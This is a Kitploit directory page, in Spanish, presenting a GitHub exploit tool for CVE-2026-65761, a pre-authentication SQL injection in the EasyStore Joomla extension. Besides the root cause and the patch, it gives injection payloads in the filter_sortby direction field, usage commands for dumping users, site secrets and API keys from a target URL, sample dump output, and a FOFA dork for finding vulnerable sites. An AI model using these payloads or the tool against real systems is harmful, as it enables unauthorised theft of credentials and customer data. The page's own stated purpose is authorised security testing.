Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-65761 — Inyección SQL Pre-Auth en EasyStore para Joomla mediante filter_sortby Direction (CVE-2026-65761, CVSS 9.3) | Kitploit
Herramientas/GitHubGitHub/shinthink/cve-2026-65761
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de Penetración
GitHubshinthink/cve-2026-65761

CVE-2026-65761

Inyección SQL Pre-Auth en EasyStore para Joomla mediante filter_sortby Direction (CVE-2026-65761, CVSS 9.3)

Ver Repositorio
hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-65761 — Inyección SQL sin autenticación previa en EasyStore Joomla

Dirección filter_sortby → Inyección ORDER BY → Lectura completa de la BD


Resumen

CVE-2026-65761 (CVSS 9.3 Crítico) es una inyección SQL sin autenticación en EasyStore para Joomla de JoomShaper, que afecta a las versiones ≤ 2.0.1.

El parámetro filter_sortby del listado de productos se divide en una columna y una dirección. Mientras que la columna se valida contra una lista de permitidos, la sin ninguna restricción ASC/DESC, lo que permite que un visitante anónimo realice una inyección SQL arbitraria.

dirección se concatena directamente en la cláusula SQL ORDER BY

Un atacante no autenticado puede leer toda la base de datos de Joomla: cuentas de usuario, hashes de contraseñas, datos de sesión, secretos del sitio, claves API y toda la PII de los clientes (nombres, correos electrónicos, direcciones, números de teléfono, historial de compras).

CVECVE-2026-65761
CVSS9.3 Crítico
AfectadoEasyStore ≤ 2.0.1
CorregidoEasyStore 2.0.2
TipoInyección SQL (CWE-89)
AutenticaciónNo se requiere
DescubiertoPhil Taylor (mySites.guru) — julio de 2026

Mecanismo de la vulnerabilidad

Causa raíz

FilterHelper.php:741 devuelve la dirección de ordenación sin ninguna comprobación de lista de permitidos ASC/DESC:

root@kitploit:~
// Vulnerable (EasyStore 2.0.1)
// FilterHelper.php:741
return [$orderArray[0], strtoupper($orderArray[1])];
//                      ^^^^^^^^^ No validation — raw value after uppercase

ProductsModel.php:932 concatena la dirección directamente en SQL:

root@kitploit:~
// ProductsModel.php:932
$query->order($column . ' ' . $direction);
//                        ^^^^^^^^^ Raw SQL concatenation

Los listados hermanos de marca y colección tenían listas de permitidos de dirección adecuadas. El listado de productos no.

Parche (EasyStore 2.0.2)

root@kitploit:~
// Fixed — FilterHelper.php:741-742
$direction = strtoupper($orderArray[1]);
return [$orderArray[0], in_array($direction, ['ASC', 'DESC']) ? $direction : 'ASC'];
//                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Allow-list check

// Fixed — ProductsModel.php:918-920 (second validation added)
if (!in_array(strtoupper($direction), ['ASC', 'DESC'])) {
    $direction = 'DESC';
}

Flujo del ataque

root@kitploit:~
1. Attacker crafts: filter_sortby=price-ASC,(SELECT SLEEP(5))
   └─ splits to: column=price, direction=ASC,(SELECT SLEEP(5))

2. Column "price" passes allow-list check ✅
   └─ ['ordering','featured','best_selling','title','price','created']

3. Direction "ASC,(SELECT SLEEP(5))" passes strtoupper()
   └─ No ASC/DESC validation in vulnerable version

4. SQL constructed:
   ORDER BY min_price ASC,(SELECT SLEEP(5))
   └─ Time-based confirmation: 5 second delay

5. Attacker extracts full database via blind SQLi

Requisitos previos

RequisitoDetalles
EasyStore ≤ 2.0.1Versión vulnerable instalada
Listado de productos accesibleindex.php?option=com_easystore&view=products
Sin autenticaciónFunciona de forma anónima
MySQL/MariaDBExtracción basada en tiempo mediante SLEEP()

Instalación

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-65761.git
cd CVE-2026-65761
# No dependencies required — Python stdlib only

Uso

root@kitploit:~
# Check vulnerability (non-destructive)
python3 cve_2026_65761.py --url https://target.com --check

# Dump Joomla users (usernames, emails, names)
python3 cve_2026_65761.py --url https://target.com --dump-users

# Full dump (users + site secret + EasyStore config + API keys)
python3 cve_2026_65761.py --url https://target.com --dump-joomla

Salida

root@kitploit:~
+=================================================================+
|  CVE-2026-65761 — EasyStore Joomla Pre-Auth SQLi Exploit        |
+=================================================================+
  Target :  https://shop.target.com
  Plugin :  EasyStore ≤ 2.0.1 | Payload: filter_sortby=col-ASC,INJECTION

[STEP 1] Verifying SQL injection (time-based)
  [*] SLEEP(5) delay: 5.2s
  [+] SQLi confirmed (5.2s)

[STEP 2] Database fingerprint
    [Version] 10.11.14-MariaDB
    [Database] joomla_db
    [User]    joomla_user@localhost
    [Prefix]  jos_
  [+] Version : 10.11.14-MariaDB
  [+] Database: joomla_db
  [+] User    : joomla_user@localhost
  [+] Prefix  : jos_

[STEP 3] Dumping users
  [+] Users: 15

  USERNAME                  EMAIL                               NAME
  ─────────────────────     ───────────────────────────────     ──────────
  admin                     [email protected]                      Super User
  manager                   [email protected]                    Store Manager

[STEP 4] Dumping sensitive configuration
    [Secret] abc123def456...
    [EasyStore] {"paypal_email":"[email protected]"...
  [+] Secret: abc123def456...
  [+] EasyStore: {"paypal_email":"[email protected]"...
  [+]   paypal_email: [email protected]

Requests: 1847

Detalles técnicos

Ruta de código vulnerable

ArchivoLíneaProblema
site/src/Helper/FilterHelper.php741Devuelve la dirección sin lista de permitidos — solo strtoupper()
site/src/Model/ProductsModel.php932Concatena $direction directamente en la cláusula ORDER BY

Parámetro de inyección

root@kitploit:~
filter_sortby = <column>-<direction>

Valid columns (allow-list passes):
  ordering, featured, best_selling, title, price, created

Direction (no validation):
  Injected directly after strtoupper()
  → ASC,(SELECT SLEEP(5))
  → ASC,(SELECT IF((condition),SLEEP(2),0))

Vulnerabilidades adicionales en EasyStore 2.0.1

CVETipoCVSS
CVE-2026-65759Falsificación de pedidos / manipulación de pagos8.7
CVE-2026-65760IDOR de facturas (exposición de datos entre clientes)9.2
CVE-2026-65761Inyección SQL (este exploit)9.3

FOFA Dork

root@kitploit:~
body="com_easystore" && body="filter_sortby"

Referencias

  • mySites.guru — Divulgación original
  • JoomShaper — EasyStore Free
  • VulDB — CVE-2026-65761

Aviso legal

Solo para pruebas de seguridad autorizadas e investigación educativa. Los autores no asumen ninguna responsabilidad por el mal uso.

Descargar herramienta